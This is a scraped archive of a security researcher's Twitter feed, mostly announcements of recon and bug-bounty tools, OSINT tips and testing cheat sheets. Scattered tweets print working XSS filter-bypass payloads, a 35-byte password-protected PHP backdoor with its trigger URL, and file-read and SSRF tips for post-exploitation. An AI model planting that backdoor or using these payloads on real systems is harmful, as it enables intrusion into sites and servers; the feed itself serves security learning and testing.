Somdev Sangwan Profile Banner
Somdev Sangwan Profile
Somdev Sangwan

@s0md3v

32,929
Followers
113
Following
497
Media
3,764
Statuses

Security Researcher

India
Joined July 2017
Don't wanna be here? Send us removal request.
@s0md3v
Somdev Sangwan
5 years
Learn Regex in 4 tweets :) cat matches cat ca+t matches caaaaaaaaaaaat but not ct ca*t matches caaaaaaaaaaaat and also ct ca{2,4} matches caat, caaat and caaaat c(at)+ matches catatatatatat c(at|orn) matches cat and corn c[ea] matches cat and cet c[ea]+ matches caaaat and ceeet
70
2K
6K
@s0md3v
Somdev Sangwan
2 years
🚨 ALERT 🚨 Python's ctx library and a fork of PHP's phpass have been compromised. 3 million users combined. The malicious code sends all the environment variables to a heroku app, likely to mine AWS credentials.
24
1K
2K
@s0md3v
Somdev Sangwan
4 years
Incident: Account hacked despite having 2FA Expectation: <some fancy technique> Reality: Website had no 2FA on "Password Reset" mechanism and the attacker got straight in. Sometimes bugs are too simple, hiding in plain sight.
25
418
2K
@s0md3v
Somdev Sangwan
2 years
Simple tip to find juicy assets that most hackers miss πŸ”₯ 1. Resolve all subdomains to IP addresses. Save IPs to list1.txt 2. Find the organization name uses in SSL certificates 3. Go to and search ssl:"Target Company"
48
389
1K
@s0md3v
Somdev Sangwan
5 years
Check if a server is running any vulnerable services wget https://raw.githubusercontent(.)com/vulnersCom/nmap-vulners/master/vulners.nse -O /usr/share/nmap/scripts/vulners.nse && nmap --script-updatedb All done, now you can do a scan with nmap -sV --script vulners <target>
Tweet media one
11
533
1K
@s0md3v
Somdev Sangwan
3 years
So, my project "Arjun" is a part of Kali Linux now πŸŽ‰
52
56
1K
@s0md3v
Somdev Sangwan
4 years
2 Factor Authentication testing cheatsheet. I am not the author of this, forgot where I got this from.
Tweet media one
3
439
1K
@s0md3v
Somdev Sangwan
2 years
Introducing "Smap", a drop-in replacement for Nmap powered by Github: Features: - no shodan account required - mimics nmap's arguments and output - supports oX/oG/oN outputs (and more) - fully passive, just 1 http request per host
Tweet media one
35
421
1K
@s0md3v
Somdev Sangwan
2 years
The hacker after executing 'whoami' on my PC to check his privileges (I have replaced whoami with a command that prints the IP address and location of everyone connected to me and then says, "you tell me")
Tweet media one
39
131
1K
@s0md3v
Somdev Sangwan
5 years
OSINT gang rise up πŸ‘‰πŸ˜ŽπŸ‘ˆ
Tweet media one
19
251
1K
@s0md3v
Somdev Sangwan
1 year
I built a deepfake software that works from a single source image.
47
204
1K
@s0md3v
Somdev Sangwan
4 years
SSRF Break Points [1/2] - Anything that accepts a URL - File upload option? Change type="file" to type="url" and submit a URL. - Image upload? Submit a svg containing "image" element with the payload in xlink:href attribute. Try ImageMagick exploits.
6
368
1K
@s0md3v
Somdev Sangwan
2 years
Want to find XSS in a list of 100000 URLs? This will give you all the URLs that have parameters commonly vulnerable to XSS. cat urls.txt | uro | parth --pipe xss
Tweet media one
10
291
956
@s0md3v
Somdev Sangwan
3 years
I created a tool that removes boring/duplicate URLs from a URL list. "uro" understands our pain, check the demo below :)
Tweet media one
24
290
929
@s0md3v
Somdev Sangwan
3 years
I did something fun :D Here's the source code:
Tweet media one
27
131
933
@s0md3v
Somdev Sangwan
5 years
Android Security - Day 1 1. Decompile an APK file: "apktool d <path of file>" 2. App dir. structure 3. Android partitions: 4. Android Internals (eBook):
9
361
890
@s0md3v
Somdev Sangwan
4 years
I made Silver public, mass vulnerability scanner πŸ”₯ Github: - Scans are resumable by default - Get notified on Slack if a vulnerability is found - Designed for large volume scans - Caches vuln. data to improve performance over time - Shodan integration
Tweet media one
14
249
857
@s0md3v
Somdev Sangwan
5 years
I just made my "Corsy" public ❀️ It scans for all known misconfigurations in CORS implementations (currently 10+ checks). Github:
Tweet media one
11
289
827
@s0md3v
Somdev Sangwan
6 years
Decodify's stable version is out now. Github: htts://github.com/UltimateHackers/Decodify It can automatically detect and decode different encodings, recursively. Supports: Base64, URL, StringFromChar, Hex, MD5, SHA1, SHA2, decimal, caesar cipher (ROT), reverse strings
Tweet media one
16
353
814
@s0md3v
Somdev Sangwan
3 years
Created a tool for finding hidden endpoints, especially on APIs. It fetches JSON responses from @Burp_Suite history and creates a url paths wordlist from JSON keys. Github:
Tweet media one
11
260
819
@s0md3v
Somdev Sangwan
3 years
It generates an email address and then prints any OTPs or confirmation links sent to it. Just enter 'ote' in your terminal and get your OTP. Github:
28
246
788
@s0md3v
Somdev Sangwan
5 years
Big news! I bypassed Google's search limiting CAPTCHA! No proxies, no delays and it always works! Writing a python library, brb πŸ”₯ Meanwhile, suggest a good name for the library.
93
108
782
@s0md3v
Somdev Sangwan
5 years
Here's my research paper about bypassing WAFs for XSS ❀️
16
275
785
@s0md3v
Somdev Sangwan
5 years
"Goop : Google Search Scraper" - No thread limit - No reCAPTCHA - No scraping limit I apologize if you hoped for a fancy bypass and it's not up to the hype :)
Tweet media one
16
281
770
@s0md3v
Somdev Sangwan
2 years
Multiple WAFs bypass that demonstrates various obfuscation techniques. <sVg/onfake="x=y"oNload=;1^(co\u006efirm)``^1//
Tweet media one
17
232
759
@s0md3v
Somdev Sangwan
4 years
New year gift πŸŽ‰ Set up a free server to exploit blind vulnerabilities! 1. 2. sudo apt-get install apache2 pagekite 3. add "ServerName localhost" to /etc/apache2/apache2.conf 4. 80->8080 in /etc/apache2/ports.conf 5. pagekite 8080
Tweet media one
10
275
743
@s0md3v
Somdev Sangwan
3 years
Reverse Proxies Cheat Sheet A list of reverse proxies, how to detect them, their behaviors and how to attack them.
2
275
751
@s0md3v
Somdev Sangwan
1 year
SubGPT is available for free now :) Good luck with your recon✨
Tweet media one
18
219
737
@s0md3v
Somdev Sangwan
5 years
I M P O R T A N T This is a collection of nearly all known attack techniques against JWT. It also includes a tool to automate all checks and even a JWT primer.
3
307
725
@s0md3v
Somdev Sangwan
4 years
I just released Parth ❀️ It finds commonly vulnerable parameter names to prioritize their testing. See screenshot below. You can import your @Burp_Suite history, discover URLs using CommonCrawl, OTX and Waybackmachine or a simple txt file. Github:
Tweet media one
16
222
694
@s0md3v
Somdev Sangwan
5 years
Target has an android app? 1. Download it 2. Use Diggy () to extract URLs 3. Use Arjun () to find parameters on those URLs
8
250
693
@s0md3v
Somdev Sangwan
6 years
Photon is a ridiculously fast crawler which extracts URLs, emails, website accounts, aws buckets, endpoints, files and more from a target. Github:
Tweet media one
8
231
668
@s0md3v
Somdev Sangwan
6 years
A 147 char XSS polyglot which can break out of 20+ contexts Full size image: Source Code:
Tweet media one
6
316
678
@s0md3v
Somdev Sangwan
5 years
CSRF Testing Mind Map ❀️
Tweet media one
7
213
666
@s0md3v
Somdev Sangwan
3 years
If you find an SSRF vulnerability in an ASP application, try reading trace.axd file. It contains logs of HTTP requests, you can find sensitive information in there.
8
167
665
@s0md3v
Somdev Sangwan
6 years
More exotic payloads:
Tweet media one
3
259
647
@s0md3v
Somdev Sangwan
3 years
Wrote a beginner friendly article about using shadows to guess the time a photo/video was shot at. If you already know this, I have demonstrated how to use length/angle ratios which you might find interesting. #osint #verification
12
168
602
@s0md3v
Somdev Sangwan
2 years
If anything happens to me - all my private tools and work will be uploaded here: I have set up a script that monitors my google, github and twitter activity. If I stay offline for 30 days, it will upload everything from my VPS to this google drive folder.
34
82
603
@s0md3v
Somdev Sangwan
3 years
I created a guide to give direction to folks interested in hacking and to talk about mental issues that people often face. Skim through it and let me know how it can be improved. Thanks.
19
168
598
@s0md3v
Somdev Sangwan
5 years
Just published the next article in the "Deblurring images for #OSINT " series. Experience in photo editing is not required :)
10
221
589
@s0md3v
Somdev Sangwan
6 years
Crafted this payload for quick tests. Its equipped with multiple filter bypass methods. I will upload a context breaking version polyglot tomorrow. <svg%0Ao%00nload=%09((pro\u006dpt))()//
Tweet media one
7
232
586
@s0md3v
Somdev Sangwan
4 years
[ #OSINT ] Do you have a lead but not sure how to proceed? Check out these 6 flow charts for ideas. The following link contains flow charts for email, domain, username,location, telephone and real Name investigation.
Tweet media one
5
187
583
@s0md3v
Somdev Sangwan
4 years
postMessage - a thread Each open tab in your browser is called a "window object" including iframes. postMessage is a JS feature that lets these windows talk to each other without caring about Same Origin Policy restrictions. To understand it well let's create two webpages...
9
176
573
@s0md3v
Somdev Sangwan
4 years
A really good white paper about common OAuth vulnerabilities & how to take care of them.
1
204
573
@s0md3v
Somdev Sangwan
5 years
Subdomain Enumeration 101 [1/2] 1. Use passive sources such as , , etc. 2. Search .example.com in code on Github (also finds sensitive stuff) 3. Use massdns with @Jhaddix 's all.txt ()
9
213
558
@s0md3v
Somdev Sangwan
5 years
Shodan Cheat Sheet hostname: title:"webcam login" net:13.227.143.0/24 os:"windows xp" port:80 city:tokyo org:microsoft country:IN (use abbreviations such US and NZ) has_screenshot:true (only returns results that have a screenshot available
5
146
549
@s0md3v
Somdev Sangwan
4 years
New attack vector against GraphQL πŸ”₯ Basically, you can submit queries in bulk which makes it possible to bypass rate limits. Imagine being able to try thousands of passwords or OTPs in a single HTTP request. Kudos to @wallarm for this awesome research.
3
193
547
@s0md3v
Somdev Sangwan
4 years
Find domains that have "xyz" in their whois curl -H "User-Agent: Mozilla" "" | grep -Po "<tr><td>[^<]+</td>" | cut -d '>' -f3 | cut -d '<' -f1 πŸ”₯Handy use casesπŸ”₯ - "Microsoft Corporation" - "Elon Musk" - "someguy @gmail .com" ⚠️ use + instead of spaces
2
148
546
@s0md3v
Somdev Sangwan
3 years
OWASP Web Security Testing guide, very detailed πŸ‘Œ Kudos to @kingthorin_rm and others for creating this resource, its definitely going in my top 10!
Tweet media one
3
178
537
@s0md3v
Somdev Sangwan
2 years
<?=$_GET[p]==_&&$_GET[f]($GET_[c]) 35 bytes PHP backdoor protected by a password, supports arbitrary function calls. /backdoored.php?p=_&f=system&c=ls
8
164
540
@s0md3v
Somdev Sangwan
4 years
Common RCE vulnerable parameters cmd exec command execute ping query jump code reg do func arg option load process step read function req feature exe module payload run print Credits: @trbughunters
3
174
532
@s0md3v
Somdev Sangwan
3 years
Do you guys prefer the single eye slit or three hole design when you are hacking?
Tweet media one
61
62
525
@s0md3v
Somdev Sangwan
3 years
Created a tool to convert wordlists into different casing styles. It will make content discovery much more effective. Install: "go get github .com/s0md3v/dump/wl" Github:
Tweet media one
8
127
523
@s0md3v
Somdev Sangwan
3 years
Tip✨ To anonymously share files from command line, you can add the following line to your ~/.bashrc file. alias up="curl -F 'f:1=<-' "
Tweet media one
10
108
519
@s0md3v
Somdev Sangwan
3 years
A really comprehensive API security testing mind-map! Great work @dsopas <3
Tweet media one
2
192
521
@s0md3v
Somdev Sangwan
5 years
[Tip] Create many accounts with one email :D A lot of web apps treat example @gmail .com and e.xam.ple @gmail .com as different emails but actually the emails sent to e.xam.ple @gmail .com will be received by example @gmail .com because gmail considers them the same email address.
16
183
499
@s0md3v
Somdev Sangwan
3 years
Found a way to read files on a remote computer? Check if you can access /var/cache/locate/locatedb or /var/lib/mlocate/mlocate.db file. It contains a list of all the files stored on the system. Download it and look for file names and file extensions you think are interesting.
9
124
497
@s0md3v
Somdev Sangwan
4 years
Wreck WAFs 😎 confirm() confirm`` (confirm``) {confirm``} [confirm``] (((confirm)))`` co\u006efirm() new class extends confirm``{} [8].find(confirm) [8].map(confirm) [8].some(confirm) [8].every(confirm) [8].filter(confirm) [8].findIndex(confirm) Source:
2
154
485
@s0md3v
Somdev Sangwan
3 years
Another domain check bypass! (12th, I am counting) Just add a dot after the domain name and it might bypass any domain name based checks, most likely blacklists. Credits: @Fox0x01 Explanation:
Tweet media one
4
148
481
@s0md3v
Somdev Sangwan
4 years
Interesting file extensions to look for: action adr ascx asmx axd backup bak bkf bkp bok cache cfg cfm cgi cnf conf config crt csr csv dat doc docx eml env exe gz ica inf ini java json key log lst mai mbox mbx md mdb nsf old ora pac passwd pcf pdf pem pgp pl plist pwd rdp reg
12
189
468
@s0md3v
Somdev Sangwan
5 years
My favorite blogs β™₯️ > > > > > > Share yours so we all can read and appreciate them :)
11
155
472
@s0md3v
Somdev Sangwan
3 years
ZoomEye is a platform similar to Shodan and it gives 10k free queries every month! Since, the free plan is quite decent, I will write a wrapper around it's API soon. This will be fun. ZoomEye:
Tweet media one
5
96
468
@s0md3v
Somdev Sangwan
4 years
DLL Hijacking for Dummies [1/2] > Download and run this process monitor () > Download and run target's desktop app > Look for processes with result "name not found" > Note down the paths of these processes
7
160
459
@s0md3v
Somdev Sangwan
3 years
Arjun v2.0 is here πŸŽ‰ A lot of things have been changed, it's v2 for a reason. Make sure you read the wiki and report bugs :) Yes, you can import targets from BurpSuite now. Github:
Tweet media one
6
127
456
@s0md3v
Somdev Sangwan
4 years
Learn at home! While corona virus outbreak is going on, we can stay at home and learn new things. I created this small library of resources for the same, please help me expand it for all of us. You can even reply to this tweet with resources ❀️
19
183
442
@s0md3v
Somdev Sangwan
5 years
It's quite easy to cheat in OSCP and CEH, you just need to contact the right people with enough money. A lot of Indians who did OSCP in the last 5 years cheated. People are obsessed with OSCP because it is respected by HRs. But man, there are a lot of fake OSCPs around.
@mykola
Myk - πŸ‡ΊπŸ‡¦πŸŒ»πŸ‡΅πŸ‡ΈπŸ‰ - Here To Help
5 years
Please quote this tweet with a thing that everyone in your field knows and nobody in your industry talks about because it would lead to general chaos.
1K
3K
14K
55
76
437
@s0md3v
Somdev Sangwan
2 years
smap - Shodan meets NmapπŸ˜ŽπŸ€™ Right now this setup: - scans 5 hosts/second - gives vulnerability + service data (cpe+protocol+name) - can mimic nmap as shown in the video
13
105
435
@s0md3v
Somdev Sangwan
4 years
Found a GraphQL endpoint? Send the following query to list the whole schema of the endpoint. It will list all objects and the fields they have. {__schema{types{name,kind,description,fields{name,type{name}}}}} PS: It doesn't work if introspection is disabled.
Tweet media one
3
129
423
@s0md3v
Somdev Sangwan
5 years
CSRF mind map ❀️ Source:
Tweet media one
2
204
421
@s0md3v
Somdev Sangwan
4 years
I created a nmap compatible list of all vulnerable software from National Vulnerability Database. A modified version of it will be shipped with the next release of Silver. Dump: Dataset:
Tweet media one
2
120
421
@s0md3v
Somdev Sangwan
4 years
Programming is not hard. It's all about learning about 20 basic things and then googling the errors you get or things you want to do e.g. "how to add two arrays in ruby?". Reposting this because I get this asked a lot.
9
112
410
@s0md3v
Somdev Sangwan
4 years
Pretty cool attack vector πŸ‘€ 1. Send a HTTP request with bad headers 2. Server returns error page 3. The response gets cached 4. The cached response is served to users 5. ??? 6. Spicy Denial Of Service Learn More:
5
124
392
@s0md3v
Somdev Sangwan
3 years
SSRF testing mindmap by @hackerscrolls ❀️ Full resolution:
Tweet media one
3
144
391
@s0md3v
Somdev Sangwan
5 years
[Advanced XSS Payload] Send source of current webpage to a remote server using <svg> and <img> elements. Obviously, let's say you just need to grab an email a from profile, you can do something like document.getElementById('email').innerHTML
Tweet media one
6
123
388
@s0md3v
Somdev Sangwan
3 years
You only need two payloads to check for reflected-XSS. First a dummy string to check the contexts its being reflected in. Second to see if the character(s) required to break out of the contexts are being escaped or not. I can't believe people use payload lists and buy courses.
14
80
370
@s0md3v
Somdev Sangwan
6 years
I am in love with my own creation, isn't it beautiful? Should I make a github repo dedicated to XSS? I am also writing a book on XSS tho, I hope you will like that too :') <w="/x="y>"/ondblclick=`<`[confir\u006d``]>z
Tweet media one
15
134
375
@s0md3v
Somdev Sangwan
2 years
Here, try it out alias whoami='netstat -n | grep -Po -m 1 " \K[^: ]+(?=:)" | cut -d: -f 1 | while read i; do whois $i| grep -Fm 1 country | while read j; do echo $i, $j; done; done && printf "\nyou tell me\n"'
6
35
374
@s0md3v
Somdev Sangwan
5 years
My write-up for the following vulnerabilities ^_^ CVE-2019-11387 CVE-2019-11388 CVE-2019-11389 CVE-2019-11390 CVE-2019-11391
2
149
367
@s0md3v
Somdev Sangwan
2 years
Arjun v2.2.0 is now live with changes that matterπŸŽ‰ () - all known bugs have been fixed - it can now detect parameters that only respond to certain values e.g. "?admin=yes" - heuristics now scrapes all words from api responses
Tweet media one
5
75
367
@s0md3v
Somdev Sangwan
4 years
I made "hardcodes". It searches source code for hardcoded strings. It can handle almost every syntax you throw at it and 20+ languages are officially supported. Available as a library and a cli program that has grep like interface. Gotta have that -r ;)
Tweet media one
8
82
366
@s0md3v
Somdev Sangwan
2 years
Here's my write-up for @intigriti x @ModSecurity hacking event. The blog highlights my thought process behind finding multiple RCE bypasses.
5
131
361
@s0md3v
Somdev Sangwan
6 years
Here's the context breaking payload equipped with some tricks. -->'"/></sCript><svG x=">" onload=(co\u006efirm)``> If it doesn't execute in your browser, consider replacing `` with ()
Tweet media one
3
154
350
@s0md3v
Somdev Sangwan
5 years
Find reports generated by various vulnerability scanners with this google dork. intitle:"report" ("qualys" | "acunetix" | "nessus" | "netsparker" | "nmap") filetype:pdf Source: @GoogleHacking
0
102
348
@s0md3v
Somdev Sangwan
3 years
Arjun 2.1.1 is out, on PyPi πŸŽ‰ - Export your results to BurpSuite! - New wordlists created with research - XML support - Custom fuzzing points in JSON and XML - Various bug fixes Install with: pip3 install arjun
Tweet media one
6
77
344
@s0md3v
Somdev Sangwan
4 years
2019 was great [1/3] - Wrote ~15 tools, released 8 - Published 2 research papers - Did 2 big paid automation projects - Made it to top 30 python devs on Github - Got into OSINT and got out of depression - Worked > 24 hrs without sleep several times
5
21
349
@s0md3v
Somdev Sangwan
2 years
Arjun v2.1.5 is hereπŸŽ‰ - new "--disable-redirects" switch - new logic for handling redirections (prevents "processing" count go up forever) - fixed catastrophic backtracking in some regexes Github:
Tweet media one
9
65
342
@s0md3v
Somdev Sangwan
1 year
I made a subdomain scanner powered by GPT.
Tweet media one
5
45
340
@s0md3v
Somdev Sangwan
5 years
Sharing a regex I wrote to match MD2, MD4, MD5, SHA224, SHA256, SHA384, SHA512 in case someone needs it. ([a-fA-F0-9]{32}(?:[a-fA-F0-9]{8})?(?:[a-fA-F0-9]{16})?(?:[a-fA-F0-9]{8})?(?:[a-fA-F0-9]{32})?(?:[a-fA-F0-9]{32})?)
8
91
337
@s0md3v
Somdev Sangwan
4 years
I finally have an answer to the question, "How do we find API tokens scattered in a string?" Current solutions use shannon entropy and regular expressions to tackle this problem with horrible false positive/negative rate. I am publishing my algorithm tomorrow, here's a demo
8
69
334
@s0md3v
Somdev Sangwan
3 years
Are you stuck in a phase where you know you have important things to do but you can't get them done? Never having enough motivation to start them, losing focus after a short time or just doing nothing all day and then feeling bad about it? Been there, here's how I fixed things:
9
77
331
@s0md3v
Somdev Sangwan
4 years
Figuring out source of a file πŸ‘€ For example, If you download an image from Reddit, it will be saved as [a-z0-9]{13}.jpg Below is a list of such schemes that I made under 15 minutes: It's kinda useless but it's 5 AM and I just had to tweet it πŸ‘€
Tweet media one
6
66
328
@s0md3v
Somdev Sangwan
5 years
Learn methodologies of different hackers from AMAs hosted by @PentesterLand β™₯️ > zseano > EdOverflow > Somdev > Eray > Gwendal
0
140
327
@s0md3v
Somdev Sangwan
6 years
I just released Recon Dog v2.0 ❀️ Github:
Tweet media one
3
105
323